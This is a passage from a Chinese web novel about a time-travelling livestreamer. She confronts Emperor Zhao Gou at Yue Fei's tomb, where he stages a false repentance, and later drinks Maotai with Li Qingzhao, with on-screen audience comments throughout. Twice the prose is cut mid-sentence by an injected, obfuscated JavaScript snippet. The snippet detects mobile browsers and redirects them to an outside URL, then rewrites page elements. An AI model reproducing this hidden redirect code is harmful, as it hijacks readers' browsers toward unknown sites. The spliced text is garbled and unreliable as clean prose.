绍兴十一年,金宋议和,金人送到秦桧手上的信中写着“岳飞不死,和议不成”,于是一桩千古奇冤便诞生了。[2] 秦桧与张俊密谋陷害岳飞,威胁岳飞部将王贵诬陷岳飞,同时买通岳飞爱将张宪的部下王俊,令其指认张宪谋反,从而牵连岳飞,给岳飞泼上谋反脏水,使其含冤入狱。[3] 听到这里,张俊瞬间成为御船上所有目光的焦点。焦点本人咳嗽两声,强作镇定:“没听见这是官家的意思吗?我也是奉命行事。” 奉命行事是一回事,这招数未免太阴险了,给一心为国之人捏造谋反之罪,也不知道是张俊这厮出的主意还是秦桧。 岳飞入狱后,主审官何铸查得岳飞冤情,禀明秦桧,却只得到秦桧的一句“此上意也”,而后万俟卨取代何铸,成为岳飞谋反案的主审官,最后岳飞被赐死于狱中,其子岳云、爱将张宪被斩首。[4] “何铸早该想明白的,这么明摆着的污蔑,若不是天子首肯,谋划者怎么敢做?”游夏说不清是当局者迷旁观者清还是何铸不愿相信他们大宋的官家竟然会杀掉忠心耿耿的大将。 “韩世忠曾当面质问秦桧,岳飞所犯之罪是否确有其实,秦桧的回答是‘子云与张宪书虽不明,其事体莫须有’。”[5] 岳飞之子岳云和张宪的书信虽然内容不明确,但这件事大概是有的吧。 轻飘飘的一句话,便让一代名将身背污名而死。 莫须有,仅这三个字何以服天下? “全天下都知道岳飞是冤枉的,可他无法申冤,也无处申冤,只因冤枉他的人是你这个狗皇帝。”游夏斜了眼赵构,强压下掏出防身电棍反帝反封的冲动,接着说道,“好在岳飞的污名最终被洗清,你选继承人的眼光还不错,孝宗登基后为岳飞平反,后人为岳飞修了这座墓园。” 最开始岳飞墓前只有秦桧夫妇二人的跪像,后来有人提议加上万俟卨,张俊是在万俟卨之后加入跪像天团的,游夏一度好奇为何秦桧和张俊一起制定的诡计,后者却晚了那么多年才被后人立了跪像,兴许是张俊此前抗金有功的缘故? 在今天之前,游夏对这些历史了解得不是很细致,不过她带赵构来岳飞墓的那段路也不是白走的,路上她把系统当电脑使,不停查资料,跟考试前临时抱佛脚一样用功,再结合直播间观众的弹幕,把这段历史大致讲一讲还是没问题的。 “只可惜立像的时候还是封建社会,他们不敢立你这个皇帝的像,”游夏遗憾地说道,她生怕赵构舒心,又补上一句,“但你也别放心,他们虽然不敢立你的像,但是骂你还是可以的。” “你才是最应该在这里跪上千年的人。”说完这句话,游夏打量着赵构的神情,他会后悔杀掉岳飞吗?他会因遗臭万年而羞愧吗? 赵构神色不明,久久不语,似是还沉浸在游夏所讲的故事里。 岳飞之冤闻者皆悲,如果冤枉岳飞的人不是他的话,他或许为岳飞之死而叹息。可偏偏那个人是他,所以他听见这些事,内心波动甚至比不上知道自己未来无嗣来得强烈。 何况,他觉得自己杀岳飞没错。 于天下而言,杀了岳飞是错,但于他赵构而言,让岳飞活着才是错。 尽管杀岳飞是他十几年后干的事,但此时的赵构完全能理解未来自己的做法。 岳飞曾因上书要迎回二圣被夺官,谁知十几年后的岳飞是不是还将这话挂在嘴边?但不管岳飞是否还想着迎回二圣,让他继续打下去,二圣回朝几乎是板上钉钉的事,届时他这个现任皇帝该如何自处? 既觉得自己没错,又何谈羞愧? 赵构自觉未来的自己犯的最大的错就是没有好好隐藏自己的心思,以至于人人都知他是害死岳飞的幕后指使,若非如此,他会在后世遭这么多骂,受这么多气? 身为皇帝,赵构最出色的能力就是能快速权衡利弊,选择对自己最有利的那条路。如他被游夏带来现代后便放低姿态,屡次受辱却隐而不发,此刻亦是如此,他虽觉自己没错,但现在是能说这种话的时候吗? 他看得出游夏说这些似乎是想让他知道杀了岳飞是一个多么大的错误,她想让他后悔……不,是忏悔。 说他才是最应该在这里跪上千年的人吗?赵构咀嚼着这句话,心中发出一声冷笑,他知道现在该做什么了。 游夏还在琢磨赵构的心理活动,她深觉自己实在不会看脸色,根本看不出赵构在想什么,她都想直接开口问赵构你现在是不是很羞愧了,谁知赵构上前两步,一掀袍子就直挺挺地跪下去了! 他一跪没收力,膝盖砸在地上的声音格外沉、格外响,像是一团晒得干裂的泥被摔在地上发出的闷响,隐在丛中的蝉被杂音惊扰,一时间蝉鸣声歇。 月朗风清,柔和的月光撒下,落在岳飞父子的墓碑上,落在墓前的石像上,它们沉默地伫立着,注视着。 月光顺着落在地上的衣袍一角慢慢爬上赵构的下半张脸,他垂着头,旁人看不清他的神色,只能看见他嘴唇微动,声音中似乎含了浓浓的悔恨:“是我有愧于岳飞。” 【赵构居然在岳飞墓前跪下了!!】 【这一跪晚了九百年,也少了九百年】 【算他还有点良知,可惜他不是真的赵构,演的也不是那个已经赐死岳飞的赵构】 【如果剧本设定的是老年赵构来到这里,他绝不会愧疚,也绝不会后悔】 【我咋觉得ooc了?赵构要能因为害死岳飞而愧疚,他能开开心心活到八十多岁?】 【但凡是个正常人听说岳飞的冤屈都会义愤填膺吧,现在的赵构还年轻,得知自己是罪魁祸首,会感到愧疚也在常理之中】 【人是会变的,赵构曾经能自愿去金营,现在还不是在逃跑?他杀岳飞的时候都当了十多年皇帝了,那个时候他不会后悔杀岳飞,现在的他或许会愧疚】 【朋友们,这个剧情是发生在赵构被主播带到现代且赵构有求于主播前提下的,这一跪恐怕更多的是形势所迫,别有用心】 【说得没错,如果没有这些前提条件,赵构绝不会跪】 【下跪归下跪,真要他再抉择一回,他肯定还是会害死岳飞】 【管他是不是真心的,我是看爽了,要是我在旁边,他不主动跪,我都会按着他的头让他跪!】 【演员演得很好,但我们都清楚历史上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374055|199632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的赵构不会后悔】 见游夏因他这一跪而愣神,赵构越发觉得自己接下来的计划有信心,他敛起那丝得意,面上仍是悔恨之色。 “可是我太怕了。”赵构语气涩然,许是今天的经历太魔幻,又许是夜深人静时总有莫名的倾诉欲,而恰好此处只有他和游夏,她不是他的臣民,她来自另一个世界,除了游夏不会有人知道他今天说的一切,“游娘子,你先前不是问为何我从前敢去金营,后来却只知南下避开金人吗?” 游夏被他这像是要跟她说心里话的样子吓了一跳,他们俩是能掏心掏肺的关系吗?而且她什么时候问他这个问题了? 她回忆了一下,想起翻墙的时候她确实嘲笑过赵构,说他当初敢去金营,怎么现在连翻墙都不敢。 不过这确实是游夏好奇的事情。 赵构和秦桧这俩“恩爱君臣”在史书上都是前后极为割裂的形象,赵构为康王时敢请命赴金营,在金营中表现得不卑不亢,金人甚至觉得他不是真正的皇子,秦桧被金人俘虏前是主战派,堪称赵宋皇室最忠诚的拥趸,可后来赵构畏惧金人,秦桧一力主和。[6] 秦桧的改变尚且能说是因势利导,政见随皇帝变化而灵活变化,那赵构呢?他为什么变了? 游夏好奇极了,她极其渴望从赵构口中听到大料,会不会当初去金营的人不是赵构,会不会那些所谓英勇事迹都是赵构自己编的? 故而她没有说话,竖起耳朵想听听赵构接下来要说什么。 赵构深吸一口气,在这里没有人认识他,没有他的臣子,只有一个来自九百年后的女子,他似是终于脱下了厚重的铠甲:“我当初去金营并非是完全自愿的。” “太上皇除我之外还有几十个孩子,我的母妃从前只是个婢女,即便我不站出来,最后那个被选去金营的皇子也会是我,我想既然如此,何不主动请命去搏一搏,若能有命回来,那我在朝中的地位自是水涨船高,哪怕是死了,也还能得个好名声。”赵构庆幸当时的孤注一掷,“我赌赢了,所以我站在了这里。” “可是,我也赌输了。”赵构道,“在金营为质的日子里,我没有一夜是闭着眼睛度过的,我原以为金人不足为惧,死亦不足为惧,可真到性命攸关的时候,我才发现我原来这么渴望活着。” 那些在金人面前的面不改色、不卑不亢不过是他在硬撑罢了。 耻辱、无力、恐惧,这些情绪日日夜夜折磨着他,他怕了。 “曾经的我没有什么可失去,尚畏惧死亡,现在的我拥有一切——拿命换回来的一切,”赵构眼睛失焦般看着岳飞的墓碑,“所以我怕了。我怕金人,怕武将拥兵自重,怕父兄回朝夺位,怕失去好不容易拥有的一切。” 没有什么真假赵构的计谋,没有什么史书美化的谎言,原来只是一个人处境变化、身份转变后的思量。 因为从前只是一个弱小的皇子,所以他不得不入金营。 因为后来他坐上了至高无上的椅子,所以他不能让他的父兄回来。 他做的一切事情都是为了自己,人不为己,天诛地灭,难道他做得不对吗? 赵构越说越觉得未来的自己做得没错,在那样的境地,就算是现在的他也会做出同样的选择。 但他的目的不是要说服游夏自己做得没错,赵构打量着游夏若有所思的样子,自觉气氛烘托得差不多,他趁热打铁:“可是我现在来到了这里。” 14.第 14 章 赵构想,是不是老天怜悯他,不想叫他遗臭万年才给了他这个机会,让他能够逆天改命。 “游娘子,可否让我留在这里?若我能学会不锈钢炼制之法,甚至在此地学到更多强军强国之术,便能扭转大宋战局,大宋无需再惧金人,我亦不必忌惮大将功高震主、忧心将士哗变,纵使父兄归来,我的位子也不会受到动摇。” 届时,他就没必要杀岳飞,岳飞不会再因莫须有之罪而死,他们贤臣遇明君的佳话将流传千古,这对所有人来说都是一个好结果。 他将自己所有的心思都毫无保留地说了出来,他这样坦诚,这样可怜,每一步都身不由己,多令人同情?哪怕不同情他,为了他口中每个人都有好结果的未来,游夏也会答应他的请求吧? 【说来说去不过是将自己的私利看得比国家、比百姓重。】 【可怜不了一点】 【刚才的下跪果然也是为了卖惨做铺垫】 【图穷匕见】 【看过的冷宫皇子的小说多了去了,赵构不够惨也不够帅,下一位。】 【算了,够惨够帅也不行!】 赵构说得动情,自觉字字恳切,却不知弹幕没人吃他这套,一眼便看穿他自私的本质。 他不愿接回父兄不是错,但他怎可为一己私欲冤杀忠臣、置百姓回归故土的心愿于不顾? - 御船上众人看到赵构跪下的那一刻,不约而同瞪大了眼睛,有人甚至身子一颤,别误会,他们不是为这天子一跪震撼感动,弹幕都看得出赵构下跪的小心思,他们自然也看得出,他们是为自己头上这颗脑袋担忧! 张俊暗暗叫苦,他为什么非要今晚来见官家? 今晚没来见官家,他就不会知道自己遗臭万年,也不会知道他们大宋的天子是个自私自利、陷害忠良的贪生怕死之辈,更不会看到官家对着臣子之墓下跪的画面。 张俊不敢想赵构会对他们这些目睹一切的人做什么,但看赵构敢如此坦然地把心思说出来,张俊猜测赵构并不知道他的一举一动都被他们看在眼里。 吕颐浩不着痕迹地扫视一圈,除了他们四个大臣,加上禁卫侍从和李清照,看画卷的约莫十数人。 这个人数不算多,方便通气封口,何况能在御船上护卫侍奉的人都是人精,知道什么该说什么不该说。 这会成为他们共同的秘密。 御船上的人各有各的思量,鸦雀无声之际,一声冷嗤突兀响起。范宗尹他不用看都知道这声冷嗤的主人是李清照,他苦着脸看着对方,姑奶奶这个时候就别说话了,当什么都没看见好不好? 瞧着范宗尹那苦瓜似的脸和侍从噤若寒蝉的模样,李清照抿唇,善解人意地咽下一些大逆不道的冷嘲热讽。 - 且不说游夏会不会答应,就是她答应,她也做不到让赵构在这个世界逗留。 游夏:系统才是老大。 闻言,游夏没有直接拒绝赵构,而是问他:“赵构,你知道南宋最后一个皇帝是怎么死的吗?” “元人入侵,国都城破,他同你一样流亡海上,不一样的是,他和南宋军民共存亡,丞相同他投海殉国时,他才八岁。” 初闻末帝以身殉国,宋人都不敢信,大宋的皇帝能这么有骨气?远的不说,就说他们眼前这位官家就不是个有骨气的主。可再一听末帝年仅八岁,不可置信化作一声几不可闻的叹息。 赵构垂头,心下冷然:八岁稚儿,自然不知生之可贵,况且他这般年幼,根本无法决定自己的生死,以身殉国恐怕是那丞相抱着他投海,以求保下大宋最后的尊严。若游夏想借末帝殉国来让他知道自己有多卑劣,那便是打错算盘了。 可他没想到,游夏真正要说的是接下来的话。 “末帝殉国后,十万南宋臣民追随他而去,纷纷投海自尽,这些人中有官员,有军士,有后妃,更多的是普通百姓。他们没享受过达官显贵的风光富贵,更不像皇亲国戚一般受万民供养,可他们宁愿以死殉国,也绝不苟且偷生,”游夏话锋一转,眼神如刀,“而你,自诩天下之主却不愿与国家共存亡,不顾百姓流离失所只想为自己求得一方安稳之地。”[1] “你觉得你所做的一切都身不由己,你觉得你跪下了就能弥补一切,”游夏步步紧逼,她不解地看着赵构,似是疑惑又似是嘲讽,“你的膝盖很值钱吗?” 天子一跪,难道还不够? 不够。 赵构想这真是太荒唐了,他堂堂一国之君又是下跪又是忏悔,游夏居然还觉不够。他再也维持不住伪装,猛地站起身来质问道:“若今日是你们的皇帝跪在这里,你还能说出这样的话吗?” 这样说,总能让游夏意识到天子下跪的份量吧? 谁知游夏却说道:“我们国家没有皇帝。” 没有皇帝?! 吕颐浩心下骇然,一个国家怎么会没有皇帝?先前他看异世科技发达、人人衣食无忧,还觉那异世华夏之君是个明君,现在却得知异世没有君主。 “荒谬!没有君主,谁来治国,谁来做国家的主?”这件事带给赵构的震撼比时空隧道还大,毕竟大宋亦有前朝未有之物,皇帝却已在这片土地上存在千年,怎会说没就没? 听到这话,文科生的DNA动了,游夏下意识说道:“人民当家作主,人民是国家的主人。” “不可能,那岂不是乱了尊卑礼法!” “我们讲究人人平等。”游夏扶额,赵构怎么又开始“朕不信”了。 赵构说一句,游夏堵一句,每一句都在刷新赵构和画卷前宋人的世界观。 总说国不可一日无君,总说尊卑森严、不可僭越,为何没有皇帝、没有尊卑的国家繁华强大,而他们敬奉君主、谨守尊卑却过得这般艰难? 这个想法浮现宋人的心底,留下一道不可磨灭的痕迹,赵鼎等人极力想将这大逆不道的想法驱出脑海,而禁卫和一干侍从们则是目光怔怔,心中翻来覆去地咀嚼着那两句话。 这两句话对赵构的冲击太大,他久久不语,游夏也不想再和赵构多说,一直不回去赵构便会心存幻想:“时间差不多了,走。” 不等赵构拒绝,游夏的手已然落在他的肩膀上,同来时一样,白光覆盖住两人全身。 浮空画卷中异世的一切如被风吹散的雾气,顷刻间散去。这段异世奇遇戛然而止,众人心中怅然若失。 吕颐浩最先回神,他担心游夏他们返回同去时一样快,言简意赅地说道:“方才之事,不得泄露!” 这个“不得泄露”的范围不止指旁人,还包括赵构。 相比画卷中的种种,知道乞哀书和赵构不举之事显得微不足道,赵构不会因为后者对他们如何,可若是前者…… 众人心里都有数,事关性命,自然不会泄露,李清照亦颔首,示意自己也不会说的。就算她不在乎自己的命,也得顾着船上这些人。 果不其然,游夏二人回来的速度很快,吕颐浩话音刚落,船头便出现一道人形白光。 游夏再一睁眼,鼻间再无花香萦绕,只有带着大海气息的风。她站在御船船头,浮空画卷随着她的返回而消失,吕颐浩等人目光复杂地看着她,他们不知该用什么态度对她。 敬畏吗?她并非神仙,只是来自九百年后的后人,真算起来,还得管他们叫一声祖宗。 像对待平常后辈那样平和?这人把官家折腾成那样,他们身为人臣,难道还要对她嘘寒问暖吗? 哪种态度似乎都不合适,让他们再好好想想,哎,这周围太吵,是谁一直在叫? 等等,这声音怎么这么耳熟? 吕颐浩这才发现船头只站着游夏一人,与她同行的赵构不知所踪,再仔细一听,船下传来赵构撕心裂肺的呼喊声。 官家! 吕颐浩扑到船边,船下赵构正拍打着水面,高声唤人来救,顾不上游夏,吕颐浩赶紧招呼人去营救赵构。 船上乱成一团,游夏趁机拉着李清照开溜,李清照此时也消了献宝的心思,毫不犹豫地跟着游夏溜了。 二人行至船边,迎面撞上赵鼎,对方并没有拦她们的意思,只是对二人拱了拱手问道:“游娘子,敢问官家可知我等看见了他……”跪在岳飞墓前的样子。 赵鼎没说完,但游夏知道他的意思,她摇头:“他不知道你们能看见。” 从她口中得了准信,赵鼎松了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382360|199632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气,他冲站在船边看似一脸焦急实则一直注视着他们这边的吕颐浩点了点头,对方心中的大石落地。 “还未问过游娘子,千里迢迢来我大宋所为何事?”怎不能是就为了带官家去岳飞墓前跪一跪吧? “只是游山玩水,你放心,今天的事不会在这里发生第二次了。”游夏说道。 赵鼎愕然,没想到她的答案这么简单,半晌,他长眉一展,笑着解下腰间玉佩递给游夏:“游娘子,此物赠你。” 游夏疑惑地看他,莫名其妙送她东西做什么?难道是看我折腾赵构看爽了? 赵鼎见游夏迟迟没有动作,将玉佩塞进她的手里,笑道:“我长你九百余岁,就当这是我给你这个后辈的见面礼,何况今夜你叫我等开了眼,提前知晓后世之事,你也可把这当作谢礼。” 他并不打算再向游夏询问后世之事,有时候知道的太多不是好事,比如他就恨不得今天没来船上,不然他怎么会生出些让自己都觉得荒唐的心思。 他怎么能觉得游夏骂的那声“狗皇帝”骂得好呢? 赵鼎:完蛋,几十年圣贤书白读了! 游夏眨了眨眼,还想说什么,就听不远处有人在喊“救上官家了”,赵鼎含笑摆手:“快走吧,若是官家上来,你们想走就麻烦了。” 游夏早就考虑到这点,不然为什么一起回来,她在船上而赵构在海里?当然是因为出时空隧道的最后一秒,她踹了赵构一脚,这样人都去救赵构,她们就能轻松走人。 虽说就算被阻拦,她也能带着李清照安全脱身,但踹一脚能解决的事为什么不踹呢? 系统看她踹完赵构后那神清气爽的模样,吐槽道:“其实你就是单纯想踹他一脚吧?” 游夏咧嘴:“别瞎说,我可没有。” 游夏和李清照跳上系统刚从储存空间中拿出来的快艇,二人回首,赵鼎站在御船之上向她们遥遥一拜,在他身后,侍从护着赵构进船舱,他们把赵构团团围住,既替赵构挡风,也把赵构的视线遮了个严严实实。 李清照回以一礼,游夏照葫芦画瓢,也回了一礼。 【这两位演员演得真好,行起礼来特别有韵味】 【看到李清照和赵鼎行礼:正剧,看到主播行礼:粗制滥造古偶剧】 【别这样,主播不要面子吗?】 【主播是穿越者嘛,做得没有“古人”好也正常】 银白快艇逐渐远去,隐于夜色,赵鼎收回视线,吕颐浩不知何时走到他的身旁。 “官家可还好?”赵鼎问道。 吕颐浩点头:“并无大碍。” “那便好。”赵鼎干巴巴地说道,官家无碍自己不该高兴吗?怎么有点遗憾? 吕颐浩想了想,还是没告诉他方才唤人捞官家之时,禁卫侍从似是故意拖拉,想让官家在水中多泡会的事,许是自己多想了呢?他说起另一个话题:“范相公已寻了张俊敲打。” 御船上十几个人里,若说谁最有可能向赵构泄密,那必然是张俊,毕竟他和赵构一样是被后人辱骂的对象,称得上是一根绳上的蚂蚱。 就看他敢不敢豁出去赌一把,告诉赵构实情,赌赢了他就是赵构的头号心腹,赌输了赵构把连他在内的所有知情人弄死。 直播间的镜头尚未拉远,吕颐浩和赵鼎的对话落入观众耳中。 【吕颐浩和赵鼎现在的关系居然还不错?我记得几个月之后,这俩就因为政见不合较上劲,最后赵鼎把吕颐浩排挤到罢相】 【毕竟才一起进行了看电影的团建活动】 【团建哈哈哈我不行了】 【现在看过直播的都是一艘船上的人了,关系当然好啦】 【好奇会拍朝廷的后续情节不,但凡看过画卷的古人心里多多少少都会对赵构有隔阂,这些人还都是赵构的心腹,赵构未来的统治应该不会太顺利了】 【改变大的历史走向的情节应该不让播吧】 【苯人正在续写后续情节!要是愿意看文字版可以关注我,过几天发~】 【第一次见给直播间产粮的太太!!我蹲】 弹幕还在好奇后续会不会拍朝廷的后续情节,直播间镜头已经切回快艇之上。 15.第 15 章 夜幕低垂,繁星点点,遥遥挂在水天相接处的圆月上有一黑色小点,直播间镜头拉近,黑点原是游夏二人乘坐的快艇。 快艇在海面上随着水波起伏,游夏一边捂着肚子安抚空虚的胃,一边停下船。她今天又是划船又是给赵构当导游,一天下来只吃了一筷子方便面,体力即将告罄。 游夏当即问李清照现在想不想吃夜宵,李清照知她辛劳一日,自然不会拒绝,她道:“早就想与你说了,我还惦记着那碗方便面呢。” 方便面出现在快艇操作台上时还冒着热气,同游夏将它们放进储存空间时无二。 游夏上身几乎是趴在操作台上的,她一手扶方便面捅,一手捏着塑料叉,毫无形象地在镜头和李清照面前展示何为“暴风吸入”。 先前二人急着寻赵构,李清照连她那碗方便面的盖子都没打开过。她揭开盖子,金黄卷曲的面条浸在汤汁里,看上去让人很有食欲。 她学着游夏的样子掰开塑料叉,挑起两根面条送入口中。与她从前吃的面条不同,这面条很有韧劲,除了面条本身的麦香还有股浓郁的鸡汤味。 李清照抿了口面汤,其实这汤并不及她从前喝过的鸡汤鲜美,现代调料包的味道对李清照这个宋朝人来说有些重口,但在这寒风呼啸的夜晚,在这艘不大的小船上,这碗热乎的方便面就是人间美味。 李清照心道虽然面上看着跟桶身图样差了十万八千里,味道倒没糊弄人,显然她还记着桶身上那行“图片仅供参考”的小字。 游夏终于舍得从碗里抬起头,见李清照正在品尝方便面,她问道:“味道怎么样?” “甚好。”李清照笑着说。 【李清照的反应咋这么平淡】 【是有些平淡,但是李清照对方便面惊为天人、赋词一首的剧情演出来又会很尬】 【咱易安居士也是要形象的好吧,四十好几的人了在主播这个小年轻面前可不得稳重点】 【宋朝人口味一般都比较清淡,李清照觉得不合胃口也正常】 部分观众有些失望,他们看这种现代文明和古代文明碰撞的剧情图的就是一个爽字,他们的爽点就是看到现代文明对古人的冲击,谁知却没能看到李清照对现代食物的高度肯定。 【方便面毕竟是速食产品,味道上确实差点儿,而且李清照家世显赫,古代的厨子也不是吃干饭的】 【我有一计!现代的食物或许比不上某些古代菜肴,但是咱们现代的8+1肯定比古代的8+1烈啊!主播给李清照尝尝咱们现代的好8+1吧!】 【刚好易安居士爱喝8+1!!】 跟李清照一起喝酒? 游夏看到弹幕的建议,眼睛一亮,兴致勃勃地打开系统商城选起酒来,最后她选了一瓶茅台。 她在操作台上摆上两只小酒杯,她倒酒倒得认真,浑然不知观众看到她拿出酒杯时恨不得变成尖叫鸡阻止。 【主播,你猜我们为什么要写成8+1!!】 【主播!你也不用这么实诚啊!你不知道不能直播喝8+1吗?】 【事已至此,祈祷直播间晚点被封吧,我要看易安居士喝8+1啊啊】 游夏刚拿出茅台,李清照浅笑盈盈的模样就变了。她的唇角不自觉地越变越翘,目光几乎是黏在了酒瓶上,似是觉得自己的表现太显眼,她道:“这是何物?” 【哈哈哈看到朋友走过来分享零食的时候我就这副死样子】 【舍友散零食散到我之前:假装自己很忙,散到我时:这是什么呀?(嚼嚼嚼)】 【好了李清照同学,我们都知道你想喝,别装了】 游夏倒没想那么多,李清照不认识现代的酒瓶在她看来很正常,怎么会是明知故问? 游夏:易安居士这么成熟一人不可能和我室友一个德行! 她献宝似的把斟满的玻璃小杯递给李清照:“这是茅台,咱们华夏特别有名的白酒,度数有点高,我也第一次喝,咱俩喝一杯?” 不似初次受邀吃方便面时的矜持婉拒,李清照自然地接过小杯,小心翼翼将它端到面前细细嗅闻。馥郁的酒香充斥鼻腔,舌头似乎都尝到了一丝辛辣,淡淡的红霞飘上脸颊,若是熟悉李清照的人见了,便知这是她见猎心喜的模样。 她同游夏轻轻碰杯,见李清照那小心的模样,游夏也郑重地对待手中的酒杯,将之慢慢端到嘴边,从今天开始她也是和易安居士碰过杯的人了! 李清照先抿了抿杯沿,比嗅闻时更霸道的辛辣之味占据了她的味觉,她双眼更亮,迫不及待地饮下一口酒,喉咙仿佛被火烧一样灼热,那口酒仿佛是一团流动的火焰,顺着她的喉咙滑进体内,在全身游走,胸口、腹部、脊背……每到一处,那处便会发烫,在寒风习习的海上,喝上这么一杯酒,整个身子都暖和了起来。 她脸上的红晕更盛,既是因茅台的后劲儿,也是因为她对茅台的喜爱又深了许多。 “好酒!”不同于方才那声温温柔柔的“甚好”,李清照举起酒,月光穿过玻璃酒杯,衬得酒液更加剔透的同时也给李清照的脸上镀上一层柔光,她又继续赞道,“酒液剔透,酒香醇厚,烈而不涩……” 游夏觉得她现在才算是见到了真正的易安居士李清照。 之前的李清照自然也是真实的,在游夏面前她也未曾伪装过自己,只是许是她们遇见的时机不好,李清照身上总是笼罩着一层淡淡的愁,显得内敛又沉静。 其实游夏还偷偷遗憾过没能在李清照少时见到她,她很想看看那位洒脱不羁、好酒好诗书的李清照。可此时游夏却觉得自己之前的遗憾太可笑了,不管正值年少还是垂垂老矣,李清照一直都是李清照。 看着李清照豪迈地将杯中酒一饮而尽,游夏又想,不对,早在李清照作《渔家傲》时,她不就已经窥见李清照的一角了吗? 见李清照这么喜欢茅台,游夏心说难怪观众想看这个情节,她也看得好爽啊!不过不是因为李清照对现代好酒的认可,而是因为看到李清照难得欢喜。 想起同李清照喝酒是观众的建议,游夏的目光落到屏幕上,想看看观众的评价如何,谁知屏幕上一条弹幕也没有,她甚至都看不见自己的脸——她的直播间已经因为违规被封了! What happen?! 游夏:“什么时候被封的?我怎么不知道?” 系统:“十秒之前,李清照刚说完‘好酒’的时候。” 游夏这才想起来直播间不能喝酒的规定,她心虚地对系统说道:“对不起,我忘了。” 系统凉凉一笑:“说的好像你没忘就不会跟李清照喝酒了一样。” 直播和跟李清照喝酒,这不很好选吗?! 游夏嘴硬道:“那我会知道别把酒瓶露出来嘛,明天能解封吧?我一定早起直播!” 系统无奈:“算了,直播到现在,你们也该休息了,本来也是要关直播间的。” 观众:关直播间也不能刚好在李清照说“好酒”的时候关啊!我们还想看后续呢! 于妙言已经从床上挪到了书桌前,她磨着牙打字,键盘被她敲得嗒嗒作响。 她就是那个在弹幕里说自己正在写宋廷后续的人,作为一名小有名气的历史同人写手,看直播时她就文思泉涌,现在更是化悲愤为动力,发誓要在太阳升起前把后续写出来。 另一头,钱靖教授意犹未尽地摘下眼镜,对着起夜发现灯没关、抓到她熬夜的女儿说道:“我马上就睡。” 她盖上被子翻了个身,想起什么,又起身叫住正要走的女儿,在手机上点了几下:“我刚看那直播还挺好看的,我推给你。” 手机震动,正是钱教授发来的直播间链接,不过看样子主播已经下播了。 发现六旬老妈熬夜看直播,正对她怒目而视的女儿:……这时候还安利? - 直播间关闭后,游夏和李清照决定在船上将就一晚,一是因为累,二是因为喝了酒开船那是酒驾,游夏可是遵纪守法的好公民。 游夏让系统给快艇罩上保护罩,这是系统自带的的防护功能,无需消耗能量,在保护罩内,船不会被风浪掀翻,外来生物也靠近不得,甚至还能隐形和调节温度。 两人合力将快艇上的座椅放倒,游夏为旅行准备的东西派上了用场,她从储存空间里取出床垫,放上枕头铺上被子,这哪是什么快艇,简直就是五星级度假酒店的星空顶船床。 两人钻进被子里,仰躺在床上,寒风被保护罩隔绝在外,头顶是布满星子的夜空,身下是随着水波轻轻晃动的床,一切都像童话中那样温馨。 游夏感叹道:这才是旅游啊,白天那都是什么事儿!怪她,因着拿了系统的高工资不太好意思纯玩,总想着给自己增加工作量,不知道多享受。 游夏:我可真是打着灯笼都难找的好员工啊! 李清照枕着柔软的鹅绒枕,双臂搭在蓬松暖和的空调被上,她觉得自己好像躺在了云上。 惬意。 这是李清照很久没有过的感觉,在久违的惬意中,李清照闭上眼,呼吸很快变得平缓。她可不是夜间生活丰富、能玩到天亮的现代人,要知道船主救游夏时她都歇下了,这会她已是累极困极。 游夏则没有睡意,虽说奔波了一天,但她现在可是跟李清照躺在一张床上,她怎么能睡得着? 是,她是跟李清照一起又划船又喝酒,但现在是一起睡呢! 深夜的人类本就容易多愁善感,尤其游夏还是一个感性的人类,她忽然对系统说道:“谢谢你,系统。” 游夏一直觉得自己是个极普通的人,可系统的出现让她平凡的人生变得如此精彩。搁以前,她哪有机会坐李清照开的船、跟李清照喝酒甚至一起睡呢? 收到游夏的感谢,系统半天没有回复,半晌后才磕磕巴巴地说道:“不用谢。” 系统:我们不是合作关系,各取所需吗?怎么突然感谢我了?怪让统不好意思的。 感谢完系统,多愁善感的游夏同学又开始想其他事情。 她将今天所有的一切都复盘了一遍,直播时说的某些话,她现在觉得自己还能说得更好,可惜没机会改了,但她对自己的总体表现还算满意。 不过游夏现在有些后悔一时冲动带赵构去了现代。 若非如此,李清照定然已将金石字画送给朝廷,了却一桩心事,可她让李清照知道了赵构的丑恶嘴脸,以至于李清照不愿再把东西给朝廷,那兜兜转转,不还是和历史上一样了吗? 她止不住地想:难道真如那句话所说,历史是会修正的?就算她带李清照追上了赵构,最后李清照也还是会如历史中那样,自己护着宝物,引来觊觎,被偷被骗? 这种“哲学”问题当然得问系统了。游夏雷厉风行,立刻去戳系统,而系统给出的回答是—— “可能性一半一半吧。你以为我之前跟你说的平行时空怎么来的?”系统游夏解释道,“就像一条路有很多分岔路,有的分岔路最后还是会汇入主路,但它们中有的曲折蜿蜒,要到终点才会重新汇入,有的刚拐弯出去就又回来了,尽管殊途同归,但它们不是同一条路,更不是同一个时空。剩下的、不会重新汇入主路的分岔路则奔向各自的终点,有的或许再也不会遇见,有的或许交汇又分开、分开又交汇,奔向相同或不同的终点,而你要知道,这些分岔路还能继续分岔……” 游夏听得脑袋疼,听到分岔路还要分岔,连忙叫停:“也就是说,这个平行时空从我来的那一刻起,每一秒都在出现不同的分岔路口,诞生新的平行时空对吧?” “是的。所以如果你想问李清照以后的命运会不会和历史上一样,我的答案是有的时空会,有的时空不会,”系统友善提醒道,“你在钻牛角尖,明明你出发之前不是还让我保证直播不会影响你的时空的历史吗?怎么现在想到李清照可能还是要走上原来的命运轨迹又不高兴了?” 